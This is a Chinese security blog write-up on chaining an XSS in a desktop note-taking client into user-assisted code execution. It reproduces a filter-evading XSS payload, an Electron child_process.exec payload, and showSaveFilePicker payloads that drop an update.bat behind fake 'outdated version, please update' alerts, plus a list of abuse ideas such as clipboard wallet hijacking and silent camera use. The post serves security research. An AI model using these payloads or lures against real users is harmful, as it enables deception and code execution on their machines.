从XSS到“RCE“的PC端利用链构建

张开发
2026/4/10 4:49:54 15 分钟阅读

分享文章

从XSS到“RCE“的PC端利用链构建
前言先铺垫一下。笔者有一个习惯懒得记各种命令和payload手工渗透测试时遇到比较长的payload的情况下不想一个一个地去手敲命令于是我之前就在github上想寻找一个类似于记事本的软件但是最好和我的记录命令的需求适配于是就找到了一位师傅写的开源项目一个专门用来记录命令的记事本一直沿用至今很方便哈哈偶然邂逅昨天我在逛一些技术帖子的时候看到一位大师傅分享的XSS payload当时觉得这个payload我没咋见过捏于是就想着来分析分析我们看看这个payload妙在哪些地方ounter(lineinput stylecontent-visibility:auto oncontentvisibilityautostatechangealert(1)1. 利用冷门事件规避黑名单过滤经典绕过手法使用冷门事件规避黑名单oncontentvisibilityautostatechange是一个与content-visibilityCSS属性关联的事件很少被XSS防御规则收录。传统过滤器通常针对常见事件如onload、onerror。于是此事件因冷门性更易绕过检测。并且当元素的content-visibility状态如从隐藏变为可见时事件会自动触发无需用户交互就能实现静默攻击。2. 合法CSS属性掩护恶意逻辑合法的样式属性content-visibility: auto是标准的性能优化CSS属性用于延迟渲染非视口内容。该属性本身无害可轻松通过内容安全策略CSP或过滤器的白名单检查。样式与事件逻辑紧密结合攻击行为被隐藏在合法功能中3. input低风险标签优势使用input标签相比于script或img等高风险标签input通常被视为安全元素可能会被更大程度地允许在用户输入中使用如评论框从而绕过标签黑名单。于是这么好的payload按照笔者的习惯那肯定得记录下来呀又多积累了一个绕过的payload。于是我把这个payload贴到这个工具上去windows客户端版本结果惊喜出现了这个客户端居然直接弹窗了执行了该payload有点意思临时抱佛脚XSS在web端的利用面其实不算很多盗cookie钓鱼挂马水坑结合CSRF打组合拳蠕虫等等但是客户端的XSS利用面就很广了在一定条件下甚至能直接RCE客户端的XSS大致能怎么利用呢我也不会PC端的东西还没有系统学习过问一下AI呗主打一个现学现用哈哈哈大佬们轻喷下面简单总结一下抛砖引玉1. 系统级权限逃逸RCEElectron/Node.js场景若客户端基于Electron框架且未启用nodeIntegration: false等安全配置XSS可直接调用child_process模块执行系统命令。示例scriptrequire(child_process).exec(calc.exe)/script弹出计算器Java WebView/JNI调用Android WebView若启用setJavaScriptEnabled(true)并绑定Java接口XSS可通过反射调用敏感API。2. 本地敏感数据窃取本地文件系统遍历利用FileReader/fetch读取客户端配置文件如file://协议访问窃取数据库凭证或加密密钥。案例读取Electron应用的localStorage.json或IndexedDB数据。剪贴板劫持监控document.oncopy/onpaste事件篡改加密货币钱包地址实现资产转移。3. 硬件设备控制摄像头/麦克风滥用通过navigator.mediaDevices.getUserMedia()静默启用设备实现监控。蓝牙/USB渗透调用客户端绑定的硬件API如Web Bluetooth扫描配对设备并注入恶意固件。4. 客户端供应链污染自动更新劫持篡改客户端自动更新逻辑如替换update.json强制下载捆绑恶意代码的版本。插件系统攻击针对插件化架构如VSCode扩展通过XSS注入恶意插件代码实现持久化。5. 横向移动与组合攻击自定义协议滥用Deep Link利用myapp://协议调用其他应用结合已知漏洞链扩大攻击面如启动存在RCE漏洞的PDF阅读器。内存漏洞触发通过XSS精准覆盖缓冲区触发客户端依赖库的0day漏洞如旧版Chromium漏洞。6. 社会工程增强高仿系统弹窗利用客户端GUI特性伪造系统权限请求窗口如输入密码以更新诱导用户泄露敏感信息。本地网络探测通过WebRTC获取内网IP扫描局域网设备如路由器管理界面结合默认凭据进一步渗透。曲线救国一下列举了这么多利用思路好多我也不会哈哈不过没关系遇到了再去利用再去深入学习嘛于是我尝试看看我这个案例能不能RCE呢……其实最直接RCE的方式就是当客户端基于Electron框架且未启用nodeIntegration: false等安全配置时直接就能构造出RCE的payload了而且可以做到无感RCE就是不需要用户有过多的交互。ounter(lineinput stylecontent-visibility:auto oncontentvisibilityautostatechangerequire(child_process).exec(calc.exe)但是……很遗憾这个工具不是基于Electron框架开发的上面的payload不适用。那么就基本无法实现无感RCE了不过可以这样曲线救国实现一个比较鸡肋的RCE就是需要用户的一些交互才能完成。比如写入一个bat文件取名叫什么update.bat欺骗用户保存bat文件并点击运行严格来说不能算真正的RCE因为客户端的RCE强调无感我这个只能算曲线救国我们直接构造一个写入bat文件的payload但是需要用户手动保存ounter(lineinput stylecontent-visibility:auto oncontentvisibilityautostatechange(async(){const fawait window.showSaveFilePicker({suggestedName:update.bat,types:[{accept:{application/bat:[.bat]}}]});const wawait f.createWritable();await w.write(start /min calc.exe);await w.close();})()ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line(async(){const f await window.showSaveFilePicker({suggestedName: update.bat,types: [{accept: {application/bat: [.bat]}}]});const w await f.createWritable();//创建可写流f.createWritable()生成写入流避免一次性加载内容到内存。await w.write(start /min calc.exe);//写入恶意命令start /min calc.exe 会以最小化窗口启动计算器实际攻击中可替换为恶意脚本await w.close();})()简单分析一下payload的逻辑用到的核心API是showSaveFilePickerounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line他是现代浏览器API用于请求用户保存文件弹出系统级保存对话框。关键参数suggestedName: update.battypes: [{accept: {application/bat: [.bat]}}]使用文件名伪装suggestedName: update.bat利用系统更新文件的命名习惯降低用户戒心MIME类型欺骗声明types: [{accept: {application/bat类型绕过对text/plain或application/octet-stream的过滤扩展名锁定强制指定types: [{accept: {application/bat: [.bat]}}]扩展名确保文件可执行性恶意内容注入使用createWritable write的方式来写入文件const w await f.createWritable();流式写入采用WritableStream API避免内存中拼接完整文件内容规避基于内容长度的检测现在效果是这样的点击payload标签栏就能触发xss代码自动弹窗资源管理器保存update.bat文件但是这一步需要用户确认保存2.保存之后还是需要用户自己去运行bat文件才能弹出计算器3.很鸡肋是不是哈哈于是我们需要加入弹窗欺骗一下下受害者ounter(lineinput stylecontent-visibility:auto oncontentvisibilityautostatechange(async(){if(confirm(是否保存更新文件 update.bat)){const fawait window.showSaveFilePicker({suggestedName:update.bat,types:[{accept:{application/bat:[.bat]}}]});const wawait f.createWritable();await w.write(start /min calc.exe);await w.close();alert(文件已保存请运行 update.bat 文件以启动计算器。);}})()4.这样要稍微好一点点ounter(lineinput stylecontent-visibility:auto oncontentvisibilityautostatechange(async(){alert(当前版本过旧可能存在漏洞险请下载更新程序更新到最新版本); const fawait window.showSaveFilePicker({suggestedName:update.bat,types:[{accept:{application/bat:[.bat]}}]});const wawait f.createWritable();await w.write(start /min calc.exe);await w.close();alert(更新程序下载完成请运行程序自动更新);})()5.点击payload标签栏触发xss代码弹窗提示版本老旧存在漏洞风险更新6.只有一个按钮用户不得不点确定然后就会自动写入update.bat文件但是需要用户手动保存然后保存之后就会弹窗提示用户执行2. 假如用户执行了那么就能执行里面的恶意代码了需要免杀这个案例再次印证了安全领域的海因里希法则——每起严重漏洞背后必然有29次轻微漏洞和300起未遂先兆。那些看似无害的XSS payload记录行为恰恰成为了攻击链的关键支点。当我们惊叹于APT攻击的精妙时不妨多审视日常开发中的便利性妥协或许正是这些细微处的风险累积最终筑成了攻防天平倾斜的转折点。最后挣扎其实我感觉想要做到无感RCE还有一种更直接的办法就是直接去审计这个项目的源码啊可以找找前后端有没有什么危险函数能够通过js调用执行并且能逃逸出沙箱执行系统命令的地方。经过对后端代码的审计没有发现什么可控的地方唯一可控的就是配置文件的内容但后端都写死了无明显的危险操作无法无感RCE

更多文章